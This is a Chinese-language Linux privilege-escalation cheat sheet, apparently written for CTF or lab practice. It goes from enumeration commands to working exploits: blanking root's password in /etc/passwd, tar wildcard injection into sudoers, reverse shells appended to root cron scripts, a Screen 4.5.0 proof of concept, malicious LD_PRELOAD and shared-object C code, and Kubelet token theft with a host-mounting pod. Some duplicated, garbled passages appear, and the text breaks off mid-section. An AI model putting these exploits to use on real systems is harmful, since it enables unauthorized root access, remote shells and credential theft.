Linux 權限提升
🔍 1. 資訊收集
1
id
可能屬於 disk、adm、docker、lxd 等群組
Disk 提權、ADM 提權、Docker 提權、LXC/LXD 提權
2
uname -a
Linux 核心版本 (例如 5.8 至 5.17 存在 Dirty Pipe 漏洞)
3
cat /etc/lsb-release
Ubuntu 20.04 或更舊,可能有 sudo 漏洞
4
sudo -l
出現可免密碼或 SETENV 執行特定程式
憑證獵取
5
find / -type f -iname "*flag*" 2>/dev/null
含有 "flag" 關鍵字檔案
資訊收集
6
ls -la /home/*
主目錄內有敏感檔案如 flag 或證書
資訊收集
7
find / -type f -iregex '.*\(pass|secret|key|token|config|env\).*' 2>/dev/null
含敏感關鍵字檔案,如 secret、key
資訊收集
8
find / -type f \( -iname ".env" -o -iname "*.env" -o -iname ".git*" -o -iname "*config*" \) 2>/dev/null
常見敏感檔案 (.env, .git)
資訊收集
9
find / -type f -path "*/.ssh/*" 2>/dev/null
SSH 私鑰或憑證
資訊收集
10
cat ~/.bash_history
或 cat ~/.zsh_history
歷史命令含敏感資訊如密碼
資訊收集
11
find / -type f -iregex '.*\(bak|backup|old|tar|zip\)$' 2>/dev/null
系統中容易被忽略的備份檔案
資訊收集
12
find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \;
檢查有 cap_setuid 權限檔案
Linux Capabilities 提權
13
cat /etc/crontab
發現 cron job 路徑可寫
Cron Job 濫用
14
screen -v
版本 ≤ 4.5.0 存在漏洞
Screen Vulnerable (版本 ≤ 4.5.0)
15
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null
發現 root 執行嘅可寫 script
通配符濫用 (tar 等)
16
cat /etc/logrotate.conf
和 grep "create|compress" /etc/logrotate.conf
logrotate 設定不當
日誌輪轉 Logrotate
17
ps aux | grep tmux
tmux 會話有 socket 未保護
tmux 劫持 (Hijacking Tmux Sessions)
18
ss -tulnp
或 netstat -tulnp
開放的服務可能被利用
被動流量捕獲或服務利用
19
cat /etc/resolv.conf
DNS 配置洩漏內部網域資訊
資訊收集
20
showmount -e <ip>
發現 no_root_squash 的 NFS 設定
弱 NFS 權限 (Weak NFS Privileges) 提權
21
find / -perm -4000 -type f 2>/dev/null
可疑 SUID 檔案 (可能被利用)
GTFOBins 路徑濫用
22
ls -l mem_status.py
發現 SUID Python 檔案引用可寫入模組
Python 函式庫劫持
23
pkexec -u root id
polkit 版本存在漏洞
Polkit 波爾基特 (CVE-2021-4034 / PwnKi)
24
readelf -d <binary> | grep PATH
RUNPATH 指向可寫入路徑
共享對象劫持 (Shared Object Hijacking)
25
find / -perm -o+w -type d 2>/dev/null
發現可寫目錄,可用作共享對象劫持
共享對象劫持 (Shared Object Hijacking)
26
cat /etc/passwd
發現異常使用者或提示
資訊收集
⚠️
用户组检查: 首先,通过
id
命令检查当前用户所属的组别,确定是否属于具有特殊权限的组,如disk
、adm
、docker
、lxd
等。这些组的成员可能拥有对系统关键部分的访问权限,可能导致权限提升。使用者群組檢查: 首先,透過id
指令檢查目前使用者所屬的組別,確定是否屬於具有特殊權限的群組,如disk
、adm
、docker
、lxd
等。這些群組的成員可能擁有對系統關鍵部分的存取權限,可能導致權限提升。 號系统版本信息: 接下来,使用
uname -a
和cat /etc/lsb-release
获取内核版本和操作系统版本信息。这有助于识别已知的漏洞和可利用的漏洞利用方式。系統版本資訊: 接下來,使用uname -a
和cat /etc/lsb-release
取得核心版本和作業系統版本資訊。這有助於識別已知的漏洞和可利用的漏洞利用方式。 號sudo 权限: sudo 權限: 使用
sudo -l
檢查目前使用者的 sudo 權限配置,識別可能的不安全配置或可利用的權限提昇路徑。號使用sudo -l
检查当前用户的 sudo 权限配置,识别可能的不安全配置或可利用的权限提升路径。文件搜索与检查: 然后,使用一系列
find
命令和其他文件检查命令,搜索系统中可能包含敏感信息或可利用的文件和目录。这些步骤有助于收集潜在的漏洞利用信息。檔案搜尋與檢查: 然後,使用一系列find
指令和其他檔案檢查指令,搜尋系統中可能包含敏感資訊或可利用的檔案和目錄。這些步驟有助於收集潛在的漏洞資訊。 號计划任务与服务: 检查计划任务配置(如
cat /etc/crontab
)和正在运行的服务(如ss -tulnp
),识别可能存在的安全漏洞或可利用的服务。排程任務與服務: 檢查排程任務配置(如cat /etc/crontab
)和正在執行的服務(如ss -tulnp
),識別可能存在的安全漏洞或可利用的服務。 號特殊权限文件: 搜索具有特殊权限的文件(特殊權限檔案: 搜尋具有特殊權限的檔案
🚀 2. 權限提升
GTFOBins : 路徑濫用
✅ 步驟1️⃣:先進行本地系統枚舉
你需要找到可疑的執行檔或權限:
找 sudo 權限:
sudo -l
如果結果裡面有
NOPASSWD: /usr/bin/something
→ 記下something
這個指令,去 GTFOBins 搜索!
找 SUID 程式(root 權限執行檔):
find / -perm -4000 -type f 2>/dev/null
看到的可執行檔,例如
/usr/bin/nmap
或/usr/bin/vim
→ 記下來,去 GTFOBins 搜索!
找 capabilities:
find / -type f -exec getcap {} \; 2>/dev/null
如果出現像
/usr/bin/vim.basic = cap_dac_override+ep
→ 把vim
記下來,去 GTFOBins 搜索!
✅ 步驟3️⃣:搜尋你剛剛枚舉到的執行檔
👉 例如你找到 /usr/bin/nmap
去 GTFOBins 主頁,在「Search」欄輸入:
nmap
✅ 步驟4️⃣:點進去之後看分類
會有幾個 section:
Shell
(怎麼用它打出反彈 shell 或本地 shell)SUID
(如果有 SUID 權限怎麼利用)sudo
(如果可以 sudo 執行這個程式怎麼提權)File Write
/File Read
(可讀可寫檔案)Capabilities
(如果有 cap 權限可以怎麼繞過限制)
👉 你根據你找到的權限去看對應的章節!
✅ 步驟5️⃣:跟著 payload 做!
例如:
如果
nmap
有 SUID 權限,網頁上會寫:
bash複製編輯nmap --interactive
!sh
代表你只需要輸入這兩行,你就 root 了!
✅ 實戰示範:
舉例:
你枚舉出
/usr/bin/vim.basic = cap_dac_override+ep
去 GTFOBins 搜尋
vim
找到
Capabilities
章節跟著網頁 payload:
nginx複製編輯vim -c ':!sh'
然後就拿到 shell!
利用 vim.basic : 通配符濫用
1️⃣ 找出有 cap_dac_override
權限的執行檔
執行以下指令:
find /usr/bin/ /usr/sbin/ /usr/local/bin/ /usr/local/sbin/ -type f -exec getcap {} \;
這個指令會幫你列出有 cap
權限的檔案。
✅ 如果你看到像這樣的結果:
/usr/bin/vim.basic = cap_dac_override+ep
代表 vim.basic
可以用來打開系統檔案。
2️⃣ 利用 vim.basic
開啟 /etc/passwd
vim.basic
開啟 /etc/passwd
輸入:
/usr/bin/vim.basic /etc/passwd
這樣可以用 vim
打開 /etc/passwd
,一般來說是不能修改的,但是因為有 cap_dac_override,所以可以!
3️⃣ 編輯 /etc/passwd
/etc/passwd
打開後:
找到最上面那一行:
root:x:0:0:root:/root:/bin/bash
把
x
刪掉,變成:
root::0:0:root:/root:/bin/bash
存檔離開(在 vim 輸入
:wq
然後按Enter
)
4️⃣ 使用 su
切換成 root
su
切換成 root現在可以直接輸入:
su root
然後直接按 Enter
,不需要密碼,就會變成 root。
通配符濫用 (tar )
一、枚舉階段(找漏洞)
1️⃣ 枚舉 cron job
cat /etc/crontab
ls -la /etc/cron.*
如果需要 sudo:
sudo cat /etc/crontab
sudo ls -la /etc/cron.*
2️⃣ 看 cron job 裡面有沒有 *
(星號)
範例:
*/1 * * * * root cd /some/path && tar -czf backup.tar.gz *
✅ 發現有星號 *
且執行者是 root
,表示有機會。
3️⃣ 確認用的程式是不是有漏洞
tar
✅ 支援 --checkpoint-action=exec=CMD
非常常見漏洞
zip
部分版本 ✅
可嘗試
rsync
✅ 可利用 --rsync-path
少見但強大
find
可利用 -exec
較少用作通配符攻擊,但可以配合不安全參數利用
4️⃣ 檢查目錄可寫權限
ls -ld /some/path
如果有 w
(寫入)權限,代表你可以放入惡意檔案。
二、利用階段(實戰 Exploit)
👉 以下以 tar 為例(最常見)
1️⃣ 建立 root.sh(放入惡意指令)
echo 'echo "youruser ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers' > root.sh
把
youruser
換成你的帳號。
2️⃣ 建立特殊檔名(讓 tar 自己執行)
echo "" > "--checkpoint-action=exec=sh root.sh"
echo "" > "--checkpoint=1"
3️⃣ 等待 cron job 自動執行(或手動觸發)
當 root 的 cron job 執行 tar 時,它會自動執行
root.sh
4️⃣ 檢查 sudo 權限
sudo -l
應該會看到 NOPASSWD: ALL
代表可以無密碼 sudo。
5️⃣ 提權成功
sudo su
拿到 root!
逃離受限 Shell
✅ 一、Command Injection(指令注入逃脫)
💡 什麼意思?
當受限 shell 只允許執行固定參數指令(例如只能用 ls -l
),
你可以把額外指令透過參數注入進去執行!
✅ 範例:
ls -l `pwd`
或
ls -l $(whoami)
➡ 後面的 pwd
、whoami
雖然 shell 不允許直接打,但透過反引號 / $()
注入執行!
✅ 二、Command Substitution(命令替換逃脫)
💡 什麼意思?
用反引號 `command`
或 $()
方式,
讓 shell 在允許指令參數中偷偷執行其他指令。
✅ 範例:
ls -l `id`
ls -l $(id)
➡ 它會執行 id
,把結果當參數傳給 ls
,實現逃脫。
✅ 三、Command Chaining(命令鏈逃脫)
💡 什麼意思?
利用 ;
、&&
、||
等符號,
在受限 shell 裡同時執行多個指令。
✅ 範例:
ls -l ; /bin/sh
➡ ls -l
之後就直接打開 /bin/sh
!
如果 ;
被過濾,可以試 &&
或 |
:
ls -l && /bin/sh
ls -l | /bin/sh
✅ 四、Environment Variables(環境變數逃脫)
💡 什麼意思?
修改 PATH
環境變數或定義特殊變數,
讓 shell 使用到可控路徑中的惡意程式或開放指令。
✅ 範例:
export PATH=/tmp:$PATH
echo '/bin/sh' > /tmp/ls
chmod +x /tmp/ls
➡ 下次執行 ls
就會變成執行你自定義的 /bin/sh
。
✅ 五、Shell Functions(自定義函數逃脫)
💡 什麼意思?
如果 shell 允許定義 function,你可以建立一個函數覆蓋原本的指令, 讓它執行惡意命令。
✅ 範例:
function ls { /bin/sh; }
ls
➡ 下次執行 ls
時直接彈出 shell!
LXC / LXD 提權
✅ 條件判斷
執行:
id
如果 groups
裡面有 lxd
,代表可以用 LXD 提權!
✅ LXD 提權完整步驟
Step by step:
1️⃣ 解壓 Alpine 映像檔(通常題目會給 alpine.tar.gz):
unzip alpine.zip
cd "64-bit Alpine"
2️⃣ 初始化 LXD(遇到提示都選預設):
lxd init
如果出錯 must be run as root
,可以忽略或先嘗試 sudo lxd init
如果不行就直接用
lxc
指令。
3️⃣ 匯入 Alpine 映像:
lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine
4️⃣ 建立特權容器:
lxc init alpine pwncontainer -c security.privileged=true
5️⃣ 把主機掛載進容器:
lxc config device add pwncontainer pwnroot disk source=/ path=/mnt/root recursive=true
6️⃣ 啟動容器:
lxc start pwncontainer
7️⃣ 進入容器拿 root:
bash複製編輯lxc exec pwncontainer /bin/sh
cd /mnt/root
從這裡就可以 root 身份操作整個主機,讀 /etc/shadow
、改 SSH Key 通通行。
二、Docker 提權
✅ 判斷方法:
id
如果有 docker
群組 → 可以用 docker 提權!
✅ Docker 提權方式
docker run -v /:/mnt --rm -it ubuntu chroot /mnt sh
-v /:/mnt
:把主機的根目錄掛到容器/mnt
chroot /mnt sh
:進入主機 root現在你就是 root 了!
三、Disk 群組提權
✅ 判斷方法:
id
如果有 disk
群組 → 代表可以存取 /dev/sda*
裝置。
✅ 利用方法
使用
debugfs
或fdisk
、mount
去掛載硬碟,讀取敏感檔案:
sudo debugfs /dev/sda1
debugfs: cat /etc/shadow
可以直接讀出 root 密碼 hash。
四、ADM 群組利用
✅ 判斷方法:
id
如果有 adm
群組 → 可以讀取 /var/log/
日誌。
✅ 利用方向
閱讀 log,發現敏感資料
cat /var/log/auth.log
cat /var/log/mysql/error.log
cat /var/log/nginx/access.log
常見線索:
cron job 執行的內容
認證憑證或密碼被誤記錄在 log
有人手誤打過
sudo
密碼被記錄下來
Linux Capabilities 提權
1️⃣ 什麼是 Linux Capabilities?
Linux capabilities 是一種安全設計, 可以讓特定執行檔獲得部分 root 權限(不需要整個 root)。
這樣可以:
控制更細粒度的權限
比傳統的 sudo、setuid 更靈活
2️⃣ 常見危險 Capabilities(遇到要特別注意)
cap_dac_override
允許繞過檔案讀寫執行權限,可以打開或修改任何檔案
cap_sys_admin
超級大權限,幾乎等同 root,可以掛載系統、修改設定
cap_setuid
允許程式改變自己 UID,可以偽裝成其他使用者(甚至 root)
cap_setgid
允許改變 GID,同樣可以透過群組提權
cap_net_bind_service
允許在低端口(1024以下)開伺服器,一般需要 root 權限
cap_sys_ptrace
允許 attach & 偵錯其他程序,可能繞過保護或提權
3️⃣ 如何列舉系統所有 capabilities
find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \; 2>/dev/null
舉例結果:
/usr/bin/vim.basic cap_dac_override=ep
/usr/bin/ping cap_net_raw=ep
✅ 把結果拿去 GTFOBins 查詢,或者判斷是否可直接用來繞過限制。
4️⃣ 利用範例:
✅ (範例 1)利用 cap_dac_override
假設找到:
/usr/bin/vim.basic cap_dac_override=ep
代表可以繞過檔案權限,直接打開 /etc/passwd
編輯!
步驟:
/usr/bin/vim.basic /etc/passwd
將:
root:x:0:0:root:/root:/bin/bash
改成:
root::0:0:root:/root:/bin/bash
儲存後:
su root
直接 root!
✅ (範例 2)非互動模式修改 /etc/passwd
如果不想開互動編輯,可以一行解決:
echo -e ':%s/^root:[^:]*:/root::/\nwq!' | /usr/bin/vim.basic -es /etc/passwd
然後直接 su root
即可!
✅ (範例 3)cap_sys_admin 利用
如果有
cap_sys_admin
,可以透過mount
掛載設備、使用pivot_root
或直接改系統設定。或使用
fuse
、modprobe
等間接方法取得 shell。
5️⃣ 如何清除 Capabilities(系統管理員角度)
sudo setcap -r /path/to/binary
-r
代表 remove capabilities。
6️⃣ 小結表(考試 / CTF 快速參考)
cap_dac_override
高
可繞過檔案存取權限
編輯 /etc/passwd
讓 root 無密碼
cap_sys_admin
非常高
幾乎 root 全能
掛載、注入核心模組、直接系統控制
cap_setuid
高
可以把程式提權執行
利用程式讓自己 UID 變 root
cap_net_bind_service
中
開低埠服務
開 80 埠、443 埠 listener,偷資料、釣魚
cap_sys_ptrace
高
可以 attach 其他 process,看 memory、注入 shell
偵錯其他程式取得密碼或注入 payload
7️⃣ 終極一行 — 列舉 + 分析
find / -type f -exec getcap {} \; 2>/dev/null | grep -E 'cap_dac_override|cap_sys_admin|cap_setuid|cap_sys_ptrace'
找出系統中最值得關注的 binary。
Screen Vulnerable
✅ 漏洞確認步驟:
1️⃣ 查看 screen 版本:
screen -v
如果小於或等於 4.5.0
:
Screen version 4.05.00 (GNU) 10-Dec-16
✅ 確認漏洞存在。
2️⃣ 查看是否有 setuid 權限:
ls -l /usr/bin/screen
看到 rws
(setuid)就是有漏洞。
✅ 利用流程(完整 PoC)
步驟一:建立惡意 so 檔案
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
這個程式碼的作用是:
把
/tmp/rootshell
改成 root 擁有給予 setuid 權限
並清理
ld.so.preload
編譯:
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
步驟二:建立 rootshell
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
編譯:
gcc -o /tmp/rootshell /tmp/rootshell.c -Wno-implicit-function-declaration
步驟三:利用 Screen 輸入 payload
cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
這行會創建
/etc/ld.so.preload
且內容是/tmp/libhax.so
每當有 binary 載入共享函式庫時,會執行
dropshell
步驟四:觸發
screen -ls
screen
自己就是 setuid binary,觸發之後/tmp/rootshell
已經有 root 權限。
步驟五:拿到 root
/tmp/rootshell
id
✅ 你就 root 了!
Cron Job 濫用
✅ 枚舉步驟
查看所有 world-writable 檔案(所有人可寫)
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null
找到像這種:
/dmz-backups/backup.sh
用
ls -la
查看權限:
ls -la /dmz-backups/
如果看到:
-rwxrwxrwx 1 root root backup.sh
代表以 root 執行但可被你編輯,超危險!
3️⃣ 確認 cron job 正在執行
使用
pspy
(無 root 權限也能用)觀察:
./pspy64 -pf -i 1000
當 pspy 顯示:
UID=0 | /bin/bash /dmz-backups/backup.sh
✅ 證明 cron job 正在定時用 root 執行這個 script!
4️⃣ 如何利用漏洞
✅ (步驟一)備份原始腳本
cp /dmz-backups/backup.sh /tmp/backup.sh.bak
✅ (步驟二)編輯 backup.sh
把你的反向 shell 加到腳本最後面:
echo "bash -i >& /dev/tcp/你的IP/你的Port 0>&1" >> /dmz-backups/backup.sh
或者手動編輯加入:
#!/bin/bash
SRCDIR="/var/www/html"
DESTDIR="/dmz-backups/"
FILENAME=www-backup-$(date +%-Y%-m%-d)-$(date +%-T).tgz
tar --absolute-names --create --gzip --file=$DESTDIR$FILENAME $SRCDIR
bash -i >& /dev/tcp/你的IP/你的PORT 0>&1
✅ (步驟三)開啟 netcat 等待連線
nc -lnvp 你的PORT
✅ (步驟四)等待 cron job 觸發(通常 3 分鐘內)
你就會看到 root shell 連進來!
5️⃣ 成功範例
listening on [any] 443 ...
connect to [10.10.14.3] from (UNKNOWN) [10.129.2.12]
root@NIX02:~# id
uid=0(root) gid=0(root)
✅ 你就 root 了!
匿名 Kubelet API 存取
4️⃣ 常見攻擊面
✅ 匿名 Kubelet API 存取
Kubelet API 常開放在
10250
port匿名訪問測試:
curl -k https://<target-ip>:10250/pods
若有回應 PodList
,代表匿名可讀 Pod 資訊。
5️⃣ 利用 kubeletctl 工具進行自動化操作
安裝方式:
go install github.com/cyberark/kubeletctl@latest
常用指令範例:
列出 Pod:
kubeletctl --server <ip> pods
執行指令 (例如查看 ID):
kubeletctl --server <ip> exec "id" -p <pod-name> -c <container-name>
掃描可 RCE 的 Pod:
kubeletctl --server <ip> scan rce
取得 Token:
kubeletctl --server <ip> exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p <pod-name> -c <container-name> > k8.token
取得 CA 證書:
kubeletctl --server <ip> exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p <pod-name> -c <container-name> > ca.crt
6️⃣ 利用取得的 token / ca.crt 操作 kubectl
驗證權限:
export token=$(cat k8.token)
kubectl --token=$token --certificate-authority=ca.crt --server=https://<api-server-ip>:6443 auth can-i --list
如果擁有
create
pod 權限,可以建立掛載主機根目錄的惡意 Pod。
7️⃣ 惡意 Pod YAML 範例 (掛載主機 /
)
/
)yaml複製編輯apiVersion: v1
kind: Pod
metadata:
name: privesc
namespace: default
spec:
containers:
- name: privesc
image: nginx:1.14.2
volumeMounts:
- mountPath: /root
name: mount-root-into-mnt
volumes:
- name: mount-root-into-mnt
hostPath:
path: /
automountServiceAccountToken: true
hostNetwork: true
建立 Pod:
kubectl --token=$token --certificate-authority=ca.crt --server=https://<api-server-ip>:6443 apply -f privesc.yaml
確認 Pod 運行:
kubectl --token=$token --certificate-authority=ca.crt --server=https://<api-server-ip>:6443 get pods
進入 Pod 內部、提取主機 root 資料:
kubeletctl --server <ip> exec "cat /root/root/.ssh/id_rsa" -p privesc -c privesc
日誌旋轉 Logrotate
1️⃣ 什麼是 Logrotate?
logrotate 是 Linux 系統自動管理日誌(log)的工具。
主要功能:
定期壓縮、歸檔、刪除舊日誌
減少磁碟空間使用
預設由 cron 週期性執行
2️⃣ 可被利用的漏洞條件
我們必須擁有可寫入的日誌檔案
logrotate 必須以 root 或高權限 執行
系統中使用的 logrotate 版本為易受攻擊版本:
3.8.6
3.11.0
3.15.0
3.18.0
3️⃣ 漏洞原理 (logrotten)
透過將惡意 payload 注入日誌檔案
當 logrotate 運行,並根據
create
選項重新建立 log 時惡意內容會被執行,達到本地提權
4️⃣ 確認系統配置
查看全域設定檔:
cat /etc/logrotate.conf
確認是否使用
create
選項(代表會執行重新建立行為):
grep "create\|compress" /etc/logrotate.conf | grep -v "#"
如果看到:
create
✅ 表示可以用 logrotten 利用此行為!
5️⃣ 準備漏洞工具 logrotten
git clone https://github.com/whotwagner/logrotten.git
cd logrotten
gcc logrotten.c -o logrotten
6️⃣ 準備 Payload
常見反向 shell 一行式:
echo 'bash -i >& /dev/tcp/你的IP/PORT 0>&1' > payload
例如:
echo 'bash -i >& /dev/tcp/10.10.14.2/9001 0>&1' > payload
7️⃣ 開啟本地監聽器
nc -nlvp 9001
等待反彈 shell。
8️⃣ 執行漏洞攻擊
./logrotten -p ./payload /tmp/tmp.log
/tmp/tmp.log
就是你有寫權限的日誌檔案路徑。
9️⃣ 結果
等 cron job 執行 logrotate 後,你的 listener 裡會看到連線:
Connection received on 10.129.24.11 49818
# id
uid=0(root) gid=0(root) groups=0(root)
✅ 提權成功!
tmux 劫持 (Hijacking Tmux Sessions)
🎯 攻擊前提
系統上有一個 tmux session 在執行
該 tmux 的 socket 檔案權限設定為某個群組 (例如 devs) 可讀寫
你目前的帳號就是該群組成員
✅ Step by step — 流程
① 確認是否有 tmux session 執行中
ps aux | grep tmux
🔎 觀察輸出結果,例如:
root 4806 0.0 0.1 29416 3204 ? Ss 06:27 0:00 tmux -S /shareds new -s debugsess
👉 找到 -S /shareds
就是 socket 路徑
② 檢查 socket 權限
ls -la /shareds
你會看到類似結果:
srw-rw---- 1 root devs 0 Sep 1 06:27 /shareds
⚠ root devs
表示這個 socket 檔案屬於 root
,群組是 devs
,且 devs 群組成員可以 rw(可讀寫)
③ 確認你是不是 devs 群組成員
id
舉例結果:
uid=1000(htb) gid=1000(htb) groups=1000(htb),1011(devs)
✅ 有看到 devs
,恭喜,可以劫持!
④ 附加到該 tmux session
tmux -S /shareds attach
或者
tmux -S /shareds
👉 你現在已經進入 root 的 tmux session 了!
⑤ 在 tmux 裡確認身分
id
你應該會看到:
uid=0(root) gid=0(root) groups=0(root)
✅ root get!
弱 NFS 權限 (Weak NFS Privileges) 提權
攻擊前提:
NFS 服務有掛載目錄 (例如
/tmp
、/var/nfs/general
)設定中存在
no_root_squash
,代表 root 權限不會被降權,可以直接以 root 身份寫檔我們有掛載權限,可以從本機掛載 NFS
✅ Step by step — 流程教學
① 掃描 NFS 匯出
showmount -e <目標 IP>
範例:
showmount -e 10.129.2.12
輸出範例:
Export list for 10.129.2.12:
/tmp *
/var/nfs/general *
✅ 表示 /tmp
和 /var/nfs/general
對所有人開放
② 檢查是否有 no_root_squash
no_root_squash
如果可以,查看 /etc/exports
(通常需要有主機 shell 權限):
cat /etc/exports
範例輸出:
/var/nfs/general *(rw,no_root_squash)
/tmp *(rw,no_root_squash)
✅ 有 no_root_squash
,代表 root 可以上傳 suid 二進位!
③ 本地建立 SUID Shell 二進位檔
建立 shell.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
system("/bin/bash");
return 0;
}
編譯:
gcc shell.c -o shell
⚠ 這個 shell
程式執行時會直接用 root 權限開 bash
④ 將 NFS 掛載到本地
sudo mount -t nfs <目標 IP>:<共享目錄> /mnt
例如:
sudo mount -t nfs 10.129.2.12:/tmp /mnt
👉 現在 /mnt
對應遠端 /tmp
⑤ 上傳 SUID Shell 並設定權限
cp shell /mnt/
chmod u+s /mnt/shell
✅ 設定 suid bit(u+s)讓 shell 可以以 root 身份執行
⑥ 回到受害主機低權限帳號
在目標機 /tmp
找到 shell
:
ls -la /tmp/shell
應該看到:
-rwsr-xr-x 1 root root 16712 Sep 1 06:15 shell
✅ rws
代表 suid bit 已經設置好了
⑦ 執行提權!
/tmp/shell
id
結果會是:
uid=0(root) gid=0(root) groups=0(root)
🎉 root get!
被動流量捕獲 (Passive Traffic Capture)
① 用 tcpdump 開始抓封包
範例:監聽 eth0 介面並將流量存到檔案
tcpdump -i eth0 -w /tmp/capture.pcap
可以限定抓取 HTTP 流量 (port 80)tcpdump -i eth0 port 80 -w /tmp/http.pcap
⚠ 通常會讓它跑一段時間,等有人登入或傳輸敏感資料
② 停止抓包
按 Ctrl+C
停止,封包會存到指定的 pcap 檔案中
③ 在本機分析封包
✅ 方法 A:使用 Wireshark (圖形化)
把
/tmp/capture.pcap
拿到本機開 Wireshark,過濾:
http.auth 或 ftp.request 或 smtp 或 telnet 或 pop3 或 imap
或用
Follow TCP Stream
查看明文帳密
✅ 方法 B:使用 PCredz (自動提取憑證)
下載 PCredz 工具:
git clone https://github.com/lgandx/PCredz.git
cd PCredz
分析封包:
python3 PCredz.py -f /tmp/capture.pcap
👉 它會自動列出明文密碼、Cookie、HTTP Basic Auth、SMTP/POP3/IMAP 密碼等
✅ 方法 C:使用 net-creds
git clone https://github.com/DanMcInerney/net-creds.git
cd net-creds
python3 net-creds.py -f /tmp/capture.pcap
👉 一樣可以自動分析 pcap 抓明文帳密
④ 嘗試用抓到的帳密登入系統
登入 SSH / FTP
嘗試 sudo 提權
嘗試 SMB hash 破解
✅ 攻擊範例(範本)
tcpdump -i eth0 -w /tmp/capture.pcap
# 等 2 分鐘
Ctrl+C
scp /tmp/capture.pcap 回本機
python3 PCredz.py -f capture.pcap
# 找到 POP3 username:password,去登入目標系
Linux 核心漏洞 (Kernel Exploits) 權限提升
✅ 前置條件
你已經有低權限 shell
可以使用
uname -a
知道目標核心版本
✅ Step by step 實戰流程
① 查看目標核心版本
uname -a
範例輸出:
Linux NIX02 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 GNU/Linux
✅ 紀錄版本: 4.4.0-116-generic
② Google 搜尋
👉 使用 Google 搜尋:
linux 4.4.0-116-generic privilege escalation exploit
或
site:exploit-db.com 4.4.0-116
找到適用的 Exploit 程式碼(例如 Dirty Cow、或者專屬版本漏洞 PoC)。
③ 將 exploit 上傳目標主機
如果主機有 wget 或 curl:
wget <exploit-url> -O kernel_exploit.c
或
curl -o kernel_exploit.c <exploit-url>
⚠ 如果不行,可以 SCP 或透過你的反向 shell 傳輸。
④ 編譯漏洞程式
gcc kernel_exploit.c -o kernel_exploit
chmod +x kernel_exploit
⚠ 如果沒有 gcc,可以試著找預編譯版本或在同核心版本環境編譯後上傳。
⑤ 執行 exploit
./kernel_exploit
正常會出現提示類似:
task_struct = ffff8800b71d7000
uidptr = ffff8800b95ce544
spawning root shell
此時已經有機會是 root shell!
⑥ 確認身分
id
whoami
預期輸出:
uid=0(root) gid=0(root) groups=0(root)
🎉 成功提權為 root!
Shared Libraries 共享庫
🎯 攻擊前提條件:
受害機器 sudo 設定中保留
env_keep+=LD_PRELOAD
有一個 sudo 可執行的程式(不是 GTFOBins 也可以)
目標 sudo 指令可以執行,且允許注入 preload
📜 攻擊流程:
① 確認 sudo 權限及 LD_PRELOAD 是否可利用
sudo -l
✅ 如果看到:
env_keep+=LD_PRELOAD
並且有類似:
(root) NOPASSWD: /usr/sbin/apache2 restart
代表此攻擊路徑可以嘗試!
② 建立惡意共享函式庫
用以下內容建立 root.c
:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
_init()
函式會在共享庫被載入時自動執行。
③ 將共享庫編譯成 so 檔
gcc -fPIC -shared -o /tmp/root.so root.c -nostartfiles
📌 小知識:
-fPIC
:產生位置無關代碼-shared
:輸出為共享庫-nostartfiles
:不載入標準初始化代碼
④ 開啟監聽(若要 reverse shell)或直接執行觸發
若是反彈 shell,可以準備 nc
:
nc -lvnp 4444
如果只是要直接取得 root shell,直接進行下一步。
⑤ 透過 sudo 搭配 LD_PRELOAD 觸發權限提升
sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restart
🔎 這行指令會:
利用 sudo 執行 apache2
在執行時預先載入我們的 root.so
自動呼叫
_init()
,取得 root shell
⑥ 驗證是否為 root 權限
id
預期輸出:
uid=0(root) gid=0(root) groups=0(root)
🎉 你已經 root 了!
共享對象劫持 (Shared Object Hijacking)
📝 【1️⃣ 資訊收集】
① 搜尋系統中有 SUID 權限的執行檔
find / -perm -4000 -type f 2>/dev/null
找出哪些程式擁有 root 權限執行。
② 使用 ldd
查看目標 SUID 執行檔的動態函式庫依賴
ldd
查看目標 SUID 執行檔的動態函式庫依賴ldd <binary>
範例:
ldd payroll
檢查是否有非標準路徑(例如
/development/
)或自訂的libshared.so
。
③ 確認 RUNPATH 或 RPATH
readelf -d <binary> | grep PATH
範例:
readelf -d payroll | grep PATH
找到可疑目錄(如果是 everyone writable 即為攻擊點)。
④ 確認該路徑是否「可寫」
ls -ld /development/
drwxrwxrwx
代表所有人可寫,非常危險!
🛠 【2️⃣ 攻擊步驟】
以下步驟與前面教學相同,我整合補全:
① 找到執行檔及函式庫
ls -la payroll
ldd payroll
readelf -d payroll | grep PATH
② 測試執行,找到缺少的函式 (symbol)
./payroll
通常會出現:
undefined symbol: dbquery
③ 撰寫惡意函式庫 (libshared.so)
exploit.c
:
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
void dbquery() {
printf("Malicious library loaded\n");
setuid(0);
system("/bin/sh -p");
}
④ 編譯惡意共享函式庫
gcc -fPIC -shared -o /development/libshared.so exploit.c
⑤ 執行 payload,觸發 root shell
./payroll
你應該會看到:
Malicious library loaded
# id
uid=0(root) gid=0(root) groups=0(root)
Python 函式庫劫持
✅ 1️⃣ 錯誤的寫入權限(Wrong Write Permissions)
當目標 Python 腳本以 root 或高權限執行,並且導入的模組有 world-writable 權限,我們可以直接修改該模組來注入惡意指令。
➡️ 攻擊步驟
① 確認有 SUID 權限的 Python 腳本
